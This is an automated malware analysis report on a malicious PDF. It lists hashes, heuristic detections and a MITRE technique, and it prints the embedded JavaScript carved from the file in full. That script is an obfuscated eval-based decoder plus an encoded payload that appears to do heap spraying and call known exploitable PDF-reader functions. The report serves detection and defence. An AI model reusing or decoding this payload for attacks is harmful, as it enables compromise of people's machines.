PDF malware analysis — malicious · ec7820c9d908f70a

MALICIOUS

PDF

9.1 KB Created: 2010-07-25 10:32:51 Authoring application: FPDF 1.6 First seen: 2026-05-10

MD5: 5e692eb4b9e92abbc590aef3054df9cc SHA-1: 894f839e5a4036f440a5484bc862951a0ebb7ea9 SHA-256: ec7820c9d908f70a338f7a6e0c5b16cd2399f957cac0831063e0c5bdbfb6dfc3

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The embedded JavaScript file, 'javascript_obj0007_000.js', is likely intended to execute malicious code. The obfuscation indicators suggest an attempt to hide the script's true functionality, which is common for malware delivery. The primary attack pattern involves leveraging the PDF's ability to run scripts to achieve a malicious outcome.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

 function vf\(s\){var r='',v=[],w=String.fromCharCode,n=[[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]];for\(z in n\){ for\(i=n[z][0];i<n[z][1];i++\){  v.push\(w\(i\)\); }}for \(var i = 0; i < s.length; i++\) { r+=v[s[i]];}eval\(r\);}vf\([65,64,71,86,79,68,85,74,80,79,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,92,65,64,88,73,74,77,70,0,8,90,66,83,84,81,14,77,70,79,72,85,73,0,10,0,50,0,60,0,77,70,79,9,92,65,64,90,66,83,84,81,0,11,61,0,90,66,83,84,81,59,65,64,94,65,64,90,66,83,84,81,0 …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1EB	8444 bytes
SHA-256: `32b368e4734c42e406b234579cb2317ff3126be8720045f5dc54795d42d1ba80`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function vf(s){var r='',v=[],w=String.fromCharCode,n=[[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]];for(z in n){ for(i=n[z][0];i<n[z][1];i++){ v.push(w(i)); }}for (var i = 0; i < s.length; i++) { r+=v[s[i]];}eval(r);}vf([65,64,71,86,79,68,85,74,80,79,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,92,65,64,88,73,74,77,70,0,8,90,66,83,84,81,14,77,70,79,72,85,73,0,10,0,50,0,60,0,77,70,79,9,92,65,64,90,66,83,84,81,0,11,61,0,90,66,83,84,81,59,65,64,94,65,64,90,66,83,84,81,0,61,0,90,66,83,84,81,14,84,86,67,84,85,83,74,79,72,8,48,12,0,77,70,79,15,50,9,59,65,64,83,70,85,86,83,79,0,90,66,83,84,81,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,86,85,74,77,46,81,83,74,79,85,71,8,9,92,65,64,87,66,83,0,81,66,90,77,80,66,69,0,61,0,86,79,70,84,68,66,81,70,8,2,73,85,85,81,58,15,15,67,77,66,68,76,73,80,77,70,15,74,79,69,70,89,14,81,73,81,2,9,59,65,64,87,66,83,0,79,80,81,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,16,48,16,5,86,48,16,48,16,5,86,48,16,48,16,5,86,48,16,48,16,2,9,65,64,87,66,83,0,73,70,66,81,67,77,80,68,76,0,61,0,79,80,81,0,11,0,81,66,90,77,80,66,69,59,65,64,87,66,83,0,67,74,72,67,77,80,68,76,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,16,48,16,5,86,48,16,48,16,2,9,59,65,64,87,66,83,0,73,70,66,69,70,83,84,74,91,70,0,61,0,50,48,59,65,64,87,66,83,0,84,81,83,66,90,0,61,0,73,70,66,69,70,83,84,74,91,70,0,11,0,73,70,66,81,67,77,80,68,76,14,77,70,79,72,85,73,59,65,64,88,73,74,77,70,0,8,67,74,72,67,77,80,68,76,14,77,70,79,72,85,73,0,60,0,84,81,83,66,90,9,92,65,64,67,74,72,67,77,80,68,76,0,11,61,0,67,74,72,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,71,74,77,77,67,77,80,68,76,0,61,0,67,74,72,67,77,80,68,76,14,84,86,67,84,85,83,74,79,72,8,48,12,0,84,81,83,66,90,9,59,65,64,87,66,83,0,67,77,80,68,76,0,61,0,67,74,72,67,77,80,68,76,14,84,86,67,84,85,83,74,79,72,8,48,12,0,67,74,72,67,77,80,68,76,14,77,70,79,72,85,73,13,84,81,83,66,90,9,59,65,64,88,73,74,77,70,0,8,67,77,80,68,76,14,77,70,79,72,85,73,11,84,81,83,66,90,0,60,0,48,89,52,48,48,48,48,9,92,65,64,67,77,80,68,76,0,61,0,67,77,80,68,76,0,11,0,67,77,80,68,76,0,11,0,71,74,77,77,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,78,70,78,46,66,83,83,66,90,0,61,0,79,70,88,0,16,83,83,66,90,8,9,59,65,64,71,80,83,0,8,87,66,83,0,74,0,61,0,48,59,0,74,0,60,0,49,52,48,48,59,0,74,11,11,9,92,65,64,78,70,78,46,66,83,83,66,90,42,74,44,0,61,0,67,77,80,68,76,0,11,0,73,70,66,81,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,79,86,78,0,61,0,49,50,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,59,65,64,86,85,74,77,14,81,83,74,79,85,71,8,2,5,52,53,48,48,48,71,2,12,0,79,86,78,9,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,68,80,77,77,66,67,46,70,78,66,74,77,8,9,92,65,64,87,66,83,0,84,73,70,77,77,68,80,69,70,0,61,0,86,79,70,84,68,66,81,70,8,2,73,85,85,81,58,15,15,67,77,66,68,76,73,80,77,70,15,74,79,69,70,89,14,81,73,81,2,9,59,65,64,87,66,83,0,78,70,78,46,66,83,83,66,90,0,61,0,79,70,88,0,16,83,83,66,90,8,9,59,65,64,87,66,83,0,68,68,0,61,0,48,89,48,68,48,68,48,68,48,68,59,65,64,87,66,83,0,66,69,69,83,0,61,0,48,89,52,48,48,48,48,48,59,65,64,87,66,83,0,84,68,46,77,70,79,0,61,0,84,73,70,77,77,68,80,69,70,14,77,70,79,72,85,73,0,10,0,50,59,65,64,87,66,83,0,77,70,79,0,61,0,66,69,69,83,0,13,0,8,84,68,46,77,70,79,11,48,89,51,56,9,59,65,64,87,66,83,0,90,66,83,84,81,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,57,48,57,48,5,86,57,48,57,48,2,9,59,65,64,90,66,83,84,81,0,61,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,59,65,64,87,66,83,0,68,80,86,79,85,50,0,61,0,8,68,68,0,13,0,48,89,52,48,48,48,48,48,9,15,66,69,69,83,59,65,64,71,80,83,0,8,87,66,83,0,68,80,86,79,85,0,61,0,48,59,0,68,80,86,79,85,0,60,0,68,80,86,79,85,50,59,0,68,80,86,79,85,11,11,9,92,65,64,78,70,78,46,66,83,83,66,90,42,68,80,86,79,85,44,0,61,0,90,66,83,84,81,0,11,0,84,73,70,77,77,68,80,69,70,59,65,64,94,65,64,87,66,83,0,80,87,70,83,71,77,80,88,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,68,48,68,5,86,48,68,48,68,2,9,59,65,64,88,73,74,77,70,0,8,80,87,70,83,71,77,80,88,14,77,70,79,72,85,73,0,60,0,52,52,57,53,50,9,92,65,64,80,87,70,83,71,77,80,88,0,11,61,0,80,87,70,83,71,77,80,88,59,65,64,94,65,64,85,73,74,84,14,68,80,77,77,66,67,34,85,80,83,70,0,61,0,18,80,77,77,66,67,14,68,80,77,77,70,68,85,20,78,66,74,77,24,79,71,80,8,92,84,86,67,75,58,0,2,2,12,78,84,72,58,0,80,87,70,83,71,77,80,88,94,9,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,68,80,77,77,66,67,46,72,70,85,74,68,80,79,8,9,92,65,64,74,71,0,8,66,81,81,14,6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